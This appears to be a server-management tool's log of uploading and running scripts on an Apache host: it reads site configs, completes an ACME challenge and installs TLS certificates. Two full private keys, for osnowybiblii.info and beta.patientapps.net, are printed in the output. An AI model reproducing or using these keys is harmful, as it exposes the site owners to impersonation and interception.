         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-23 06:00:16: 

PUT: /tmp/pkp449601

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/osnowybiblii_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-23 06:00:16: 

chmod 755 /tmp/pkp449601; /tmp/pkp449601; rm /tmp/pkp449601

2025-09-23 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf	1414

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-23 06:00:16: 

PUT: /tmp/pkp827337

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-23 06:00:16: 

chmod 755 /tmp/pkp827337; /tmp/pkp827337; rm /tmp/pkp827337

2025-09-23 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt	5386
eb:70:8c:d0:d9:62:f7:4a:f9:34:bf:83:b6:79:1f:60

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBlilHRV5e1DEUMc9aB8sn0zoMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTIzMDUwMTQ1WhcNMjUxMjIyMDUwMTQ0WjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK1ShYonbdX274LaU4PTdcAAZGQKDuigjaGUvgon21TLv2SMFnq+gvtAhfoD
J7kZlru9xmult+2Hv1Ir02RiKrVTXrFFPbYOLWQjrfJUDUAQGn0FmgnSWx2ai5iY
urhYO5wmrCQVncziOIsZI5bCnm3aNX6br45FQC6pTdtV2VCIcaQTlGj3sadmCL3U
LTO4oAol3n+FvoFtKAo9KpUWpMAFEdxvPXRpNU2eLpFVq5ApQ/d7bdgolwmx1OfD
TKb8hay95LOeBH90UjdlDzJpHshogeGJnq09GKQl2eLFG3SY08dQ0mpBywECAi2i
m/krNuHZJzvZljbTUi21weTwd5sCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUkS8I9t5M8tp2j/fg+mCCwmqQtogwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFvc25vd3liaWJsaWkuaW5m
b4IVd3d3Lm9zbm93eWJpYmxpaS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTA1LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeN
tql+VMD+TA2wAAABmXUoie0AAAQDAEgwRgIhALRupL4BxtwfaUai0XKfo/cVEKL9
sTGILZXCMRWRy0h5AiEAhhg/e4W6APPS7YVOpoNIL1hhvbkU5EE4Thg3BorxTTkA
dQDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZl1KIn8AAAEAwBG
MEQCIAtsyn5XzRzMDzNoyzeqn47d1+e4kmlvZkGslPzlwp4QAiAXB5/h+mXgzzhC
4lIdct2Jwv04SPlasM3Nsz4u2UvC5zANBgkqhkiG9w0BAQsFAAOCAQEAE6bvRFye
tRnsT1dWpHveGEIa6tsAGs7t6Gch42OSH3Zblt5bc6UPd8sVQ8aKXpq49U30Fd9R
/fDeuXr/a48cepE3u1C6p2A1Boim9Don4vOVJ2teWt11KmaE36GOjjARcIpwQDou
sDtAlrTmgLB0AySJ+05vZemSVL1E1Kv4nolbjaGOsd+i9jlQxMjPHKzkLbq95BoS
P4lKN/PX/a1sWEqTp74VvEqGalMjTmdp5m9l9dRExGflsZbkr+nXX/9Zg1HPTCVk
BIb31O/n9FQuu+PvDxY+4Od7R/1pjZpLqVMG08r9jA70ksS6nx4R5f3ZPO/bJrz8
7fjFWblTAuCfPA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCtUoWKJ23V9u+C
2lOD03XAAGRkCg7ooI2hlL4KJ9tUy79kjBZ6voL7QIX6Aye5GZa7vcZrpbfth79S
K9NkYiq1U16xRT22Di1kI63yVA1AEBp9BZoJ0lsdmouYmLq4WDucJqwkFZ3M4jiL
GSOWwp5t2jV+m6+ORUAuqU3bVdlQiHGkE5Ro97GnZgi91C0zuKAKJd5/hb6BbSgK
PSqVFqTABRHcbz10aTVNni6RVauQKUP3e23YKJcJsdTnw0ym/IWsveSzngR/dFI3
ZQ8yaR7IaIHhiZ6tPRikJdnixRt0mNPHUNJqQcsBAgItopv5Kzbh2Sc72ZY201It
tcHk8HebAgMBAAECggEAMOAxejkONyUwe3T30hfif6dcp/1SIPWNmwAn6xM8PZhL
O55phGmO5C1Y2pzjKcZ2hDDK8HZF/LyoDhL/xLIOGx4MeO7urRUoZbHODqT3K5ae
8ZyPyK9CNIHtVbXUCcIP5UPejTpvSmSMz2TibVQqew3qwe5DPlp28/GYW/7EjnnE
xOhIevU64xU4ZkkEZab9ZuyAGBtHwG+X+9DoT5BO1V2I8KkMtsVNVcsQOwQvbSJa
UXdJhxBcMDxNSiaNYhvu2CG5/avZTyXrsJtIWE2HJ5lIB3smPqZ1kDnVODtpDoRx
gBwbCjWZKZcA4EOeLKnjfd0oPy69XsSJuV8MlHS9iQKBgQDXhepAbAeKPvDsT0hB
rwAoEzLFLSI47Ed1c3kR52rPD0pCi7AwYNklw3qW2YjsJYqjAy7E5DNXKtIULJB1
DEEINg1qu9AtuZg3/fEFZs20WY/z6aBnCULRBtRGLb8z3zIac747xsnHIDQwP8Kz
M/EDWxMP99/haKcaY/wMaLP0bQKBgQDN36V3BD39p1EPsdygY7EgUualSd1TMVae
BtvBBBl7b1CvV5bf+gFlllndXXNsaRXKsW1Z1sX0fkbcP8BOUkEGTqmv7hweA5vt
lfUuhd0cGQpJ44g6nxsXoqVuY4XL9q1pKCprOMkEUZzm5cOsNI42PrFIloit+62T
Vmj+XixHJwKBgC8ZUtH1SciKbLgXs2C3T79yQpwYeuwZppwiOgkRm6PYYZAdWsmX
wJyiFX4119hTc/Kf1W6tuBKKhxJlksQhg2y580Cp/pqffoZt9mgJyVZqZC0Xlzgt
K+7mISmdAbXiRt7FAIOrs5jSjtUkefYTmc3z7zyEHObzqeD4jLJhh0IZAoGBAIAP
Q9+6lcz4jOXUX0atfHp81teuEKw1HooB/iQcJrWvUmMfeswruT61vYSDIs8mttV0
dG7TuCMTgYRza23MoIIJ4Gd9F6Rb3lx1USP1RMq7kLjRfeXpHnMfSwRVh96NvOSS
hYBYvEGhepXuCj9OGcAIU0Kx0KdYzGm/8GN5tNU1AoGBAKR1KE/PlrGtt7E3DfhK
xV64cD5OOeHC8BdcdxBjFFo4lRLijoxWX0D07nLp+IlpTGpCXqcEbLG7qn6neOcj
vaPavpvXsHBcWDNahjwoy48W7CRMxgAIJDY/bqNmwcoYpQaOR6h2071+7l98qlEq
M+CnWcNGSQm742DhNlacB4N/
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-24 06:00:02: Establishing a connection
2025-09-24 06:00:02: Establishing a connection
2025-09-24 06:00:03: 

PUT: /tmp/pkp767695

#!/bin/bash
if [ -d "/var/www/patientapps_beta/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-24 06:00:05: 

chmod 755 /tmp/pkp767695; /tmp/pkp767695; rm /tmp/pkp767695

2025-09-24 06:00:05: 


1


2025-09-24 06:00:06: Establishing a connection
2025-09-24 06:00:06: 

PUT: /tmp/pkp351087

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
cat > 1ngv4r_R3XzLP7C0z7Gh7TQp6s1bLVkMp7RJ4sI5MSY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1ngv4r_R3XzLP7C0z7Gh7TQp6s1bLVkMp7RJ4sI5MSY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1ngv4r_R3XzLP7C0z7Gh7TQp6s1bLVkMp7RJ4sI5MSY


2025-09-24 06:00:06: 

chmod 755 /tmp/pkp351087; /tmp/pkp351087; rm /tmp/pkp351087

2025-09-24 06:00:06: 




2025-09-24 06:00:11: Establishing a connection
2025-09-24 06:00:11: 

PUT: /tmp/pkp849706

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
rm 1ngv4r_R3XzLP7C0z7Gh7TQp6s1bLVkMp7RJ4sI5MSY


2025-09-24 06:00:11: 

chmod 755 /tmp/pkp849706; /tmp/pkp849706; rm /tmp/pkp849706

2025-09-24 06:00:11: 




2025-09-24 06:00:11: Establishing a connection
2025-09-24 06:00:12: 

PUT: /tmp/pkp660079

#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8

cat > $temp_file <<'endmsg'
77:da:7c:94:63:80:a0:72:a6:36:a5:85:52:fd:b5:52

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBTr37G35gidfi9Z23/uNiibaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI0MDUwMTQwWhcNMjUxMjIzMDUwMTM5WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAL/T3goLmxg8+tJURk49c3Z9I6quir5deJ4cL+ctVMWGlFwgHKhtRYcy
bYB6U+RgGIpABhngisbSKtIA9jtU8GIZcMsT0LQxTF4fyUgWzAMXm4ocuh7P1YDn
HovxmiJUgHqTsYi6C54OS2kbOYBS+Nmqg60yov16BqDxBAjI2/kwhgLie3+eDHcW
d7BAonTs3dfEB+/XHQI5ws+3yNdcyIVCK28AB4nUZC/5AgB8fPSNS2G579Vd50y9
3t7OFsXUW1w69en/9wpdK5vmJCCA5jLSR5uVfQsYYOm0cLVg8NmvBx2nJGmNgcBf
Dy+ErYrA4BY0tVdu6WkUfycBC8pnunkCAwEAAaOCAiQwggIgMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUisxLTBYAEl3R1tKjv9glgkTYmJ8wHwYDVR0jBBgwFoAU56uf
DywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEzLmkubGVuY3Iub3JnLzAfBgNVHREEGDAWghRiZXRhLnBhdGllbnRh
cHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzkxLmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB2ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvlhiY6AAABmXpO1U0A
AAQDAEcwRQIgIpyz8kmfEOuSe4Q253pmn1B4f+BmGj/iB5awaWdIJNUCIQD1b9fZ
9oF70jtb/bx4hA8c5uhlhMOIshRSPjn+cWRtSAB2ABmG1Mcoqm/+ugNveCpNAZGq
zi1yMQ+uzl1wQS0lTMfUAAABmXpO1XgAAAQDAEcwRQIhAOPiJIQP5o2j4Pn7gmiK
q2BX+iHWLDyAD4aXIfp0/7GZAiAJzE+zvhQXSHKEPx/OsiCwt69gBCTkL60kvBJl
36SMVjANBgkqhkiG9w0BAQsFAAOCAQEAaZFHG1X312M0YALqnnW9LNP+BIUCl0wR
XSOgxrCtBVRXCOXTJsvtLz8n1s/mdWWrb6DuN02EDvUAumCBbk11nzjs/slA8hde
lWAU9EZVMAJi4iRVzo71996TBSsCD4PWA13/u699k8kTSgKl4GkNU+GtV1ViZ/6u
7RPX5Tf48oAsrCgbODHgmRaqq3ZFYlpYk4j4zJDbutE7/YaItoB6HiSvy/YWVlkr
wAY6oytndZPS2xutY+aitCc1LvKUjvfEpj5FhhjLWWsSrlWXlZhz8e0PUQPgR3QZ
Uf2jklS3/6JjDN/se4f9EvNAC6dyz2Bfhdy/Tk+6On7in22Ng7Mlxg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC/094KC5sYPPrS
VEZOPXN2fSOqroq+XXieHC/nLVTFhpRcIByobUWHMm2AelPkYBiKQAYZ4IrG0irS
APY7VPBiGXDLE9C0MUxeH8lIFswDF5uKHLoez9WA5x6L8ZoiVIB6k7GIugueDktp
GzmAUvjZqoOtMqL9egag8QQIyNv5MIYC4nt/ngx3FnewQKJ07N3XxAfv1x0COcLP
t8jXXMiFQitvAAeJ1GQv+QIAfHz0jUthue/VXedMvd7ezhbF1FtcOvXp//cKXSub
5iQggOYy0keblX0LGGDptHC1YPDZrwcdpyRpjYHAXw8vhK2KwOAWNLVXbulpFH8n
AQvKZ7p5AgMBAAECggEAPlqpJ0zEemmAApSAUfhpqs9co6Oe1+hcR9DTxWqXzqlD
WnrZtennGt5Kd+PLl0WhVHchRJIXqi8w2hiT8Y9XoBuy7WAgjCImN8ZPUE6QvESV
O5zA5zkZpo/5/vVm69fZ935AzDflhNgSrTS7STovR9nEea0nDAv5UaFmdVCNKH+L
ONf0Ik60yASVCBK56Ux+Zwhi60EHrRVC7FGHf2KdCk59yujgZMglkEbzQKgBcq5H
gwUvmJM6bQIMeaqmoDJa84mGkYD+Qxd2sQdmaKyFzEafCCfVoFj0v5ktbIyZla0l
wL7KisgUCFIGGGhHu5HGHEFWJ2QeoeL92LbQRDXYfQKBgQD6iPaINeq2dJ97dU5g
asEBl7/udki3RLwNlDWxr2NpqwOscCtlWeGMra7Ggk08J0trPwug/mzXKPaS9bZq
HipClClMP6RRsqsGBTedB8GP7S/vidSnhdt+mCDwBUFuCx0OW9BaNQ7HTUAf8zx7
jO0OlsjXNErRFNUN9LzAH1peOwKBgQDEAxIRnap0S8bTgiysV7NhcO2Xkw6e3jnx
igvhbcScQsMp3I/VAvx2n0HKP6UB30AL7ySrOteAsF9qPrya/dz8xV8Wa3Qs8T3S
9ARx01Zo/z67DojG586XD52DPSfD3TXRzJBRdma7gJ2HjxNCIdxOZypeo6X/3Lr7
JN8vHYN62wKBgEWULiusFbBweS5XaNn8K/geRe6bKRzE2RlIVRUw6YIaPZ3xVQwD
x1FDlyuIWpzfKOHzE2612lJzDO/Jj8yu7fupnEKR1jfeUAMPBd/1nHs1Wz/CXq3b
zha9d0BRpVdDfOFU/GthGuac/Lci3WROwjNwCv1Bh5nDmFwU4SrWSkmrAoGAMUxg
aAPSkitY12t/Ft175T8E0sGOxNA5nJFOyaTU9UQpV8b8eeOlYaROZLK7KoxezGGa
RGKpPtmdNdiPkR/WS9DMSJRABOmr1fm/gG1Z51CDE4LlTbmRkRbBU/e2n6FsXtbn
WUXBMtl3RVfrzQ89HI7/7guUvZRjhrTQWUZAAk8CgYEAt/s4RCTd6t50I1iG5pyV
IUNzLFGWnKzG1zT1zS8Rvhne8mb46rcD8oXXMjDWu6t5r4FEN60WMdXpMM5MufQc
/cqTkwnKXhCnLAJX1wrgLLIPSJObu9hV8NLGHV/Xbmx0pYZBJKeI1PQbNKmeeEoN
1WM5dWMpEOYELpzun1t9yIg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-24 06:00:12: 

chmod 755 /tmp/pkp660079; /tmp/pkp660079; rm /tmp/pkp660079

2025-09-24 06:00:12: 


dir=/etc/ssl/certs


2025-09-24 06:00:12: 

PUT: /tmp/pkp242399

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_beta_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-24 06:00:12: 

chmod 755 /tmp/pkp242399; /tmp/pkp242399; rm /tmp/pkp242399

2025-09-24 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf 44
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
